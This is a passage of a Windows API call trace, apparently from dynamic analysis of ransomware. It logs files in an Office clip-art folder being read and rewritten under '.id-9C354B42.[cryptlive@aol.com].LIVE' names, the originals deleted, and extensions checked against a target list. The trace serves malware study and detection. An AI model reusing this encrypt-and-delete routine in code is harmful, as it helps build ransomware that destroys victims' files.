dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0135.014] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6392) returned 1 [0135.014] CloseHandle (hObject=0x1fc) returned 1 [0135.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 0x20 [0135.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0135.014] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.014] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0135.015] GetLastError () returned 0x0 [0135.015] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x18f8, lpOverlapped=0x0) returned 1 [0135.016] WriteFile (in: hFile=0x398, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1900, lpOverlapped=0x0) returned 1 [0135.018] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.018] WriteFile (in: hFile=0x398, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0135.018] SetEndOfFile (hFile=0x398) returned 1 [0135.018] CloseHandle (hObject=0x398) returned 1 [0135.019] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.019] SetEndOfFile (hFile=0x1fc) returned 1 [0135.021] CloseHandle (hObject=0x1fc) returned 1 [0135.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 1 [0135.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.022] lstrlenW (lpString=".doc") returned 4 [0135.022] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.022] lstrlenW (lpString=".docx") returned 5 [0135.022] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.022] lstrlenW (lpString=".pdf") returned 4 [0135.022] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.022] lstrlenW (lpString=".xls") returned 4 [0135.022] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.022] lstrlenW (lpString=".xlsx") returned 5 [0135.022] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.022] lstrlenW (lpString=".ppt") returned 4 [0135.022] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.022] lstrlenW (lpString=".zip") returned 4 [0135.022] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.022] lstrlenW (lpString=".rar") returned 4 [0135.022] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.022] lstrlenW (lpString=".bz2") returned 4 [0135.022] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.022] lstrlenW (lpString=".7z") returned 3 [0135.023] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.023] lstrlenW (lpString=".dbf") returned 4 [0135.023] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.023] lstrlenW (lpString=".1cd") returned 4 [0135.023] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.023] lstrlenW (lpString=".jpg") returned 4 [0135.023] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.023] lstrlenW (lpString=".doc") returned 4 [0135.023] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.023] lstrlenW (lpString=".docx") returned 5 [0135.023] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.023] lstrlenW (lpString=".pdf") returned 4 [0135.023] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.023] lstrlenW (lpString=".xls") returned 4 [0135.023] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.023] lstrlenW (lpString=".xlsx") returned 5 [0135.023] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.023] lstrlenW (lpString=".ppt") returned 4 [0135.023] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.166] lstrlenW (lpString=".zip") returned 4 [0135.166] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.166] lstrlenW (lpString=".rar") returned 4 [0135.166] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.166] lstrlenW (lpString=".bz2") returned 4 [0135.166] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.166] lstrlenW (lpString=".7z") returned 3 [0135.166] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.167] lstrlenW (lpString=".dbf") returned 4 [0135.167] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.167] lstrlenW (lpString=".1cd") returned 4 [0135.167] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0135.167] lstrlenW (lpString=".jpg") returned 4 [0135.167] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.167] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0135.167] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0135.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.196] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6700) returned 1 [0135.197] CloseHandle (hObject=0x38c) returned 1 [0135.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 0x20 [0135.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.208] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.208] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.209] GetLastError () returned 0x0 [0135.209] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x1a2c, lpOverlapped=0x0) returned 1 [0135.210] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1a30, lpOverlapped=0x0) returned 1 [0135.212] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.212] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.212] SetEndOfFile (hFile=0x1ec) returned 1 [0135.212] CloseHandle (hObject=0x1ec) returned 1 [0135.212] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.212] SetEndOfFile (hFile=0x388) returned 1 [0135.214] CloseHandle (hObject=0x388) returned 1 [0135.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0135.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.215] lstrlenW (lpString=".doc") returned 4 [0135.215] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.215] lstrlenW (lpString=".docx") returned 5 [0135.215] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.215] lstrlenW (lpString=".pdf") returned 4 [0135.215] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.215] lstrlenW (lpString=".xls") returned 4 [0135.215] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.215] lstrlenW (lpString=".xlsx") returned 5 [0135.216] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.216] lstrlenW (lpString=".ppt") returned 4 [0135.216] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.216] lstrlenW (lpString=".zip") returned 4 [0135.216] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.216] lstrlenW (lpString=".rar") returned 4 [0135.216] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.216] lstrlenW (lpString=".bz2") returned 4 [0135.216] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.216] lstrlenW (lpString=".7z") returned 3 [0135.216] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.216] lstrlenW (lpString=".dbf") returned 4 [0135.216] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.216] lstrlenW (lpString=".1cd") returned 4 [0135.216] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.216] lstrlenW (lpString=".jpg") returned 4 [0135.216] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.216] lstrlenW (lpString=".doc") returned 4 [0135.216] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.216] lstrlenW (lpString=".docx") returned 5 [0135.216] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.216] lstrlenW (lpString=".pdf") returned 4 [0135.216] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.216] lstrlenW (lpString=".xls") returned 4 [0135.216] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.216] lstrlenW (lpString=".xlsx") returned 5 [0135.216] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.216] lstrlenW (lpString=".ppt") returned 4 [0135.216] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.217] lstrlenW (lpString=".zip") returned 4 [0135.217] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.217] lstrlenW (lpString=".rar") returned 4 [0135.217] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.217] lstrlenW (lpString=".bz2") returned 4 [0135.217] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.217] lstrlenW (lpString=".7z") returned 3 [0135.217] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.217] lstrlenW (lpString=".dbf") returned 4 [0135.217] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.217] lstrlenW (lpString=".1cd") returned 4 [0135.217] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0135.217] lstrlenW (lpString=".jpg") returned 4 [0135.217] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.217] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0135.217] lstrlenW (lpString="URBAN_01.MID") returned 12 [0135.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.218] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=13358) returned 1 [0135.218] CloseHandle (hObject=0x388) returned 1 [0135.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20 [0135.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.218] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.218] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.219] GetLastError () returned 0x0 [0135.219] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x342e, lpOverlapped=0x0) returned 1 [0135.220] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3430, lpOverlapped=0x0) returned 1 [0135.222] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.222] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.222] SetEndOfFile (hFile=0x1ec) returned 1 [0135.222] CloseHandle (hObject=0x1ec) returned 1 [0135.223] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.223] SetEndOfFile (hFile=0x388) returned 1 [0135.225] CloseHandle (hObject=0x388) returned 1 [0135.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0135.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.226] lstrlenW (lpString=".doc") returned 4 [0135.226] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.226] lstrlenW (lpString=".docx") returned 5 [0135.226] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.226] lstrlenW (lpString=".pdf") returned 4 [0135.226] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.226] lstrlenW (lpString=".xls") returned 4 [0135.226] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.226] lstrlenW (lpString=".xlsx") returned 5 [0135.226] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.226] lstrlenW (lpString=".ppt") returned 4 [0135.226] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.226] lstrlenW (lpString=".zip") returned 4 [0135.226] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.226] lstrlenW (lpString=".rar") returned 4 [0135.226] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.226] lstrlenW (lpString=".bz2") returned 4 [0135.226] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.226] lstrlenW (lpString=".7z") returned 3 [0135.226] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.226] lstrlenW (lpString=".dbf") returned 4 [0135.226] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.227] lstrlenW (lpString=".1cd") returned 4 [0135.227] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.227] lstrlenW (lpString=".jpg") returned 4 [0135.227] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.227] lstrlenW (lpString=".doc") returned 4 [0135.227] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.227] lstrlenW (lpString=".docx") returned 5 [0135.227] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.227] lstrlenW (lpString=".pdf") returned 4 [0135.227] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.227] lstrlenW (lpString=".xls") returned 4 [0135.227] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.227] lstrlenW (lpString=".xlsx") returned 5 [0135.227] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.227] lstrlenW (lpString=".ppt") returned 4 [0135.227] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.227] lstrlenW (lpString=".zip") returned 4 [0135.227] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.227] lstrlenW (lpString=".rar") returned 4 [0135.227] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.227] lstrlenW (lpString=".bz2") returned 4 [0135.227] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.227] lstrlenW (lpString=".7z") returned 3 [0135.227] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.228] lstrlenW (lpString=".dbf") returned 4 [0135.228] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.228] lstrlenW (lpString=".1cd") returned 4 [0135.228] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0135.228] lstrlenW (lpString=".jpg") returned 4 [0135.228] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.228] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0135.228] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0135.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.229] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4961) returned 1 [0135.229] CloseHandle (hObject=0x388) returned 1 [0135.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20 [0135.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft 